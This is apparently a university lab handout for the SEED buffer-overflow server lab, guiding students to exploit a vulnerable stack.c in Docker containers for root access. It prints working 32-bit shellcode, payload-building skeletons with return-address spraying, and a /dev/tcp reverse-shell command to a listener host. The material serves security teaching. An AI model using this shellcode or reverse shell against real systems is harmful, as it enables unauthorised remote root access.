Buffer overflow (CS 915)

Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for you to gain practical insights into this type of vulnerability and learn how to exploit the vulnerability in attacks. In this lab, you will be given servers, each running a program with a buffer-overflow vulnerability. Your task is to develop a scheme to exploit the vulnerability and finally gain the root privilege on these servers. In addition to the attacks, you will also experiment with several countermeasures against buffer-overflow attacks. You need to evaluate whether the schemes work or not and explain why.

Lab setup

- Download the lab setup files from here (save it in any folder under /home/seed **EXCEPT** the shared folder if you use VirtualBox).
- Read the manual on docker here (for background learning)
- Download the script files from here (containing example scripts for the attack)

This lab is based on the buffer overflow attack (server version) with some adaptations.

Turning off countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult. You can do it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

The vulnerable program

The vulnerable program used in this lab is called **stack.c**, which is in the server-code folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege.

This vulnerable program reads data from the standard input, and then passes the data to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries, buffer overflow will occur.

The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually

gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.

To compile the above vulnerable program, we need to turn off the StackGuard and the nonexecutable stack protections using the -fno-stack-protector and "-z execstack" options. (see the Makefile under the server-code folder for more details.)

Container setup and commands

Enter the Labsetup folder, and use the docker-compose.yml file to set up the lab environment. A detailed explanation of the content in this file and all the involved Dockerfile can be found in the user manual. If this is the first time you set up a SEED lab environment using containers, we recommend you read the user manual.

In the following, we list some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, we have created aliases for them in the .bashrc file (in the provided SEEDUbuntu 20.04 VM).

```
$ docker-compose build      # Build the container image
$ docker-compose up         # Start the container
$ docker-compose down       # Shut down the container

// Aliases for the Compose commands above
$ dcbuild                   # Alias for: docker-compose build
$ dcup                      # Alias for: docker-compose up
$ dcdown                    # Alias for: docker-compose down
```

Build the container

Step 1: Go to Labsetup/server-code

```
$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
$ make install
cp server ../bof-containers
cp stack-* ../bof-containers
```

Step 2: Go to Labsetup/

```
$ dcbuild
```

```
$ dcup
Creating network "net-10.9.0.0" with the default driver
Creating server-2-10.9.0.6 ... done
Creating server-4-10.9.0.8 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
```

Tasks in today's lab

- Level 1 attack: get the parameters
- Level 2 attack: buffer size unknown

Level 1 attack: get the parameters

Get the parameters

Our first target runs on 10.9.0.5 (the port number is 9090), and the vulnerable program stack is a 32-bit program. Let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C
```

On the container terminal (where you run dcup), you may see a message below

```
// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88
server-1-10.9.0.5 | Buffer's address inside bof():      0xffffdb18
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to 517 bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct your payload to exploit this vulnerability. If you save your payload in a file, you can send the payload to the server using the following command.

```
$ cat <file> | nc 10.9.0.5 9090
```

If the server program returns, it will print out "Returned Properly". If this message is not printed out, the stack program has probably crashed. The server will keep running, taking new connections.

For this task, two pieces of information essential for buffer-overflow attacks are printed out as hints to you: the value of **the frame pointer** and **the address of the buffer**. The frame point

register called **ebp** for the x86 architecture and rbp for the x64 architecture. You can use these two pieces of information to construct your payload.

Write Exploit Code

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use badfile as the file name in this document). We will use a Python program to do that. We provide a skeleton program called exploit-L1.py, which is included in the lab setup files. The code is incomplete, and you need to write the values for two variables: **ret** and **offset**.

Hints:

- **ret**: is the first address where you can put the malicious code, namely, the address just above the return address on the stack. What should be the value of **ret**?
- **Offset:** from the code "content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')", can you work out what the offset should be?
- To calculate **ret,** you need a hex calculator. Use Python or an online tool.

After you write the values of ret and offset, save exploit-L1.py. You can try to launch the attack as below. The badfile is generated by exploit-L1.py.

```
$ ./exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
```

Note: exploit-L1.py needs to be executable. Run chmod u+x exploit-L1.py if it is not executable.

If your attack succeeds, you should expect to see a message "(^_^) SUCCESS SUCCESS (^_^)" from the container's console. Otherwise, your attack didn't work.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd038
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffcfc8
server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)
```

Why my attack didn't work?

- The **ret** and **offset** values are not correctly set. Trial-and-error.
- Make sure there is no "00" byte in the **Ret** address; otherwise, it will be interpreted as a null terminator. E.g., if you calculate the **ret** address to be "0xfffd200", add "0x04" to avoid the null terminator.

Reverse shell

In the above attack, we simply printed out a message “(^_^) SUCCESS SUCCESS (^_^)”. But in practice, an attacker wants to get a root shell on the target server, so they can type any command they want. Since we are on a remote machine, if we simply get the server to run **/bin/sh**, we won’t be able to control the shell program. Reverse shell is a typical technique to solve this problem.

The following is the snippet of the hard-coded shellcode in exploit-L1.py

```
# 32-bit shellcode
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker          *
   "echo '(^_^) SUCCESS SUCCESS (^_^)'                         *"
 # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1             *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Make the following changes:

- **Comment out**: "echo '(^_^) SUCCESS SUCCESS (^_^)' *"
- **Uncomment**: "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"

You need to start a server on the attacker’s machine (VM) so that it will be able to receive and send commands to the reverse shell.

```
$ nc -lnv 7070
```

Open another terminal and repeat the attack.

```
$ ./exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
```

If the attack succeeds, you will be able to gain root access to the remote target machine, as shown below.

Repeat the Attack

```
$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 49220
root@38e4c5fc91c4:/bof#
```

Level 2 Attack: Buffer Size Unknown

In this task, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. Our target server is **10.9.0.6** (the port number is still 9090, and the vulnerable program is still a 32-bit program). Let's first send a benign message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker's machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C
```

Container console

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffcf78
server-2-10.9.0.6 | ==== Returned Properly ====
```

As you can see, the server only gives out one hint, the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack. However, you know the range of the buffer size as below. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

```
Range of the buffer size (in bytes): [100, 300]
```

Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a root shell on the target server (using the reverse shell technique).

Step 1: generate input (badefile): exploit-L2.py

```
#################################################################
# Put the shellcode at the end of the buffer
content[517-len(shellcode):] = shellcode

# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xAABBCCDD

# Spray the buffer with S number of return addresses
# You need to decide the S value
S = 0
for offset in range(S):
    content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
#################################################################
```

You need to specify value of **ret** and **S.**

Hints:

- Consider max 300 bytes for the buffer. **ret** would be: buffer_address + 300 (size of the buffer) + 4 (size of the previous frame pointer) + 4 (size of the return address). What should be the **S** value?

Step 2: launch the attack

```
$ ./exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090
```

On console

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffcf78
server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)
```

If you see the SUCCESS message, it should be sufficient for this task. To launch the reverse shell attack, you simply need to comment out the echo command the uncomment the reverse shell command as you've done in Task 1.

After lab

- Type Ctrl-C to stop servers running in the container console.
- Under the Labsetup folder, run **dcdown** to shutdown the container properly
- Complete the post-lab assignment.